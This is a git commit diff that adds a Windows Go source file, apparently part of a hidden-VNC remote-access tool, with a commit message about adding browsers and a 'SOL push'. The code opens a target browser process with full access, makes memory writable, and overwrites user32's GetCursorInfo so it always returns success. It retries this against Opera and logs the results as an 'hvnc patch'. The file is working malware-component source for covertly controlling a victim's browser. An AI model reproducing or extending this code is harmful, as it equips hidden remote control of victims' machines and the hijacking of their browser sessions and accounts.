add more browsers, browser checks and move SOL push to management
This commit is contained in:
@@ -0,0 +1,163 @@
|
||||
//go:build windows
|
||||
|
||||
package capture
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var (
|
||||
procGetProcAddress = kernel32.NewProc("GetProcAddress")
|
||||
procLoadLibraryW = kernel32.NewProc("LoadLibraryW")
|
||||
procVirtualProtectEx = kernel32.NewProc("VirtualProtectEx")
|
||||
procReadProcessMemory = kernel32.NewProc("ReadProcessMemory")
|
||||
procEnumProcessModules = psapi.NewProc("EnumProcessModulesEx")
|
||||
procGetModuleFileNameExW = psapi.NewProc("GetModuleFileNameExW")
|
||||
)
|
||||
|
||||
var psapi = syscall.NewLazyDLL("psapi.dll")
|
||||
|
||||
const (
|
||||
pageExecuteReadWrite = 0x40
|
||||
listModulesAll = 0x03
|
||||
)
|
||||
|
||||
func patchGetCursorInfo(pid uint32) error {
|
||||
addr, err := remoteGetProcAddress(pid, "user32.dll", "GetCursorInfo")
|
||||
if err != nil {
|
||||
return fmt.Errorf("find GetCursorInfo: %w", err)
|
||||
}
|
||||
|
||||
// mov eax, 1; ret
|
||||
patch := []byte{0xB8, 0x01, 0x00, 0x00, 0x00, 0xC3}
|
||||
|
||||
hProcess, _, callErr := procOpenProcess.Call(uintptr(PROCESS_ALL_ACCESS_INJ), 0, uintptr(pid))
|
||||
if hProcess == 0 {
|
||||
return fmt.Errorf("OpenProcess PID %d: %v", pid, callErr)
|
||||
}
|
||||
defer procCloseHandle.Call(hProcess)
|
||||
|
||||
var oldProtect uint32
|
||||
ret, _, callErr := procVirtualProtectEx.Call(hProcess, addr, uintptr(len(patch)),
|
||||
pageExecuteReadWrite, uintptr(unsafe.Pointer(&oldProtect)))
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("VirtualProtectEx: %v", callErr)
|
||||
}
|
||||
|
||||
var written uintptr
|
||||
ret, _, callErr = procWriteProcessMemory.Call(hProcess, addr,
|
||||
uintptr(unsafe.Pointer(&patch[0])), uintptr(len(patch)),
|
||||
uintptr(unsafe.Pointer(&written)))
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("WriteProcessMemory: %v", callErr)
|
||||
}
|
||||
|
||||
verify := make([]byte, len(patch))
|
||||
var read uintptr
|
||||
procReadProcessMemory.Call(hProcess, addr,
|
||||
uintptr(unsafe.Pointer(&verify[0])), uintptr(len(verify)),
|
||||
uintptr(unsafe.Pointer(&read)))
|
||||
if int(read) == len(patch) {
|
||||
ok := true
|
||||
for i := range patch {
|
||||
if verify[i] != patch[i] {
|
||||
ok = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if !ok {
|
||||
log.Printf("hvnc patch: verification mismatch for PID %d", pid)
|
||||
}
|
||||
}
|
||||
|
||||
var dummy uint32
|
||||
procVirtualProtectEx.Call(hProcess, addr, uintptr(len(patch)),
|
||||
uintptr(oldProtect), uintptr(unsafe.Pointer(&dummy)))
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func remoteGetProcAddress(pid uint32, dllName, funcName string) (uintptr, error) {
|
||||
dllNameUTF16, _ := syscall.UTF16PtrFromString(dllName)
|
||||
localModule, _, callErr := procLoadLibraryW.Call(uintptr(unsafe.Pointer(dllNameUTF16)))
|
||||
if localModule == 0 {
|
||||
return 0, fmt.Errorf("LoadLibrary %s: %v", dllName, callErr)
|
||||
}
|
||||
|
||||
funcNameBytes, _ := syscall.BytePtrFromString(funcName)
|
||||
localFunc, _, callErr := procGetProcAddress.Call(localModule, uintptr(unsafe.Pointer(funcNameBytes)))
|
||||
if localFunc == 0 {
|
||||
return 0, fmt.Errorf("GetProcAddress %s!%s: %v", dllName, funcName, callErr)
|
||||
}
|
||||
|
||||
offset := localFunc - localModule
|
||||
|
||||
remoteBase, err := getRemoteModuleBase(pid, dllName)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
return remoteBase + offset, nil
|
||||
}
|
||||
|
||||
func getRemoteModuleBase(pid uint32, moduleName string) (uintptr, error) {
|
||||
hProcess, _, callErr := procOpenProcess.Call(
|
||||
uintptr(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ), 0, uintptr(pid))
|
||||
if hProcess == 0 {
|
||||
return 0, fmt.Errorf("OpenProcess PID %d: %v", pid, callErr)
|
||||
}
|
||||
defer procCloseHandle.Call(hProcess)
|
||||
|
||||
var modules [1024]uintptr
|
||||
var cbNeeded uint32
|
||||
ret, _, callErr := procEnumProcessModules.Call(hProcess,
|
||||
uintptr(unsafe.Pointer(&modules[0])),
|
||||
uintptr(len(modules))*unsafe.Sizeof(modules[0]),
|
||||
uintptr(unsafe.Pointer(&cbNeeded)),
|
||||
listModulesAll)
|
||||
if ret == 0 {
|
||||
return 0, fmt.Errorf("EnumProcessModulesEx: %v", callErr)
|
||||
}
|
||||
|
||||
count := int(cbNeeded) / int(unsafe.Sizeof(modules[0]))
|
||||
target := strings.ToLower(moduleName)
|
||||
|
||||
var nameBuf [260]uint16
|
||||
for i := 0; i < count; i++ {
|
||||
n, _, _ := procGetModuleFileNameExW.Call(hProcess, modules[i],
|
||||
uintptr(unsafe.Pointer(&nameBuf[0])), uintptr(len(nameBuf)))
|
||||
if n == 0 {
|
||||
continue
|
||||
}
|
||||
fullPath := syscall.UTF16ToString(nameBuf[:n])
|
||||
baseName := strings.ToLower(fullPath)
|
||||
if idx := strings.LastIndexByte(baseName, '\\'); idx >= 0 {
|
||||
baseName = baseName[idx+1:]
|
||||
}
|
||||
if baseName == target || baseName == target+".dll" {
|
||||
return modules[i], nil
|
||||
}
|
||||
}
|
||||
|
||||
return 0, fmt.Errorf("module %s not found in PID %d", moduleName, pid)
|
||||
}
|
||||
|
||||
func patchOperaAsync(pid uint32, maxRetries int, delay time.Duration) {
|
||||
for attempt := 0; attempt < maxRetries; attempt++ {
|
||||
if attempt > 0 {
|
||||
time.Sleep(delay)
|
||||
}
|
||||
if err := patchGetCursorInfo(pid); err != nil {
|
||||
log.Printf("hvnc patch: attempt %d/%d for PID %d failed: %v", attempt+1, maxRetries, pid, err)
|
||||
continue
|
||||
}
|
||||
log.Printf("hvnc patch: successfully patched GetCursorInfo in PID %d", pid)
|
||||
return
|
||||
}
|
||||
log.Printf("hvnc patch: all %d attempts failed for PID %d", maxRetries, pid)
|
||||
}
|
||||
Reference in New Issue
Block a user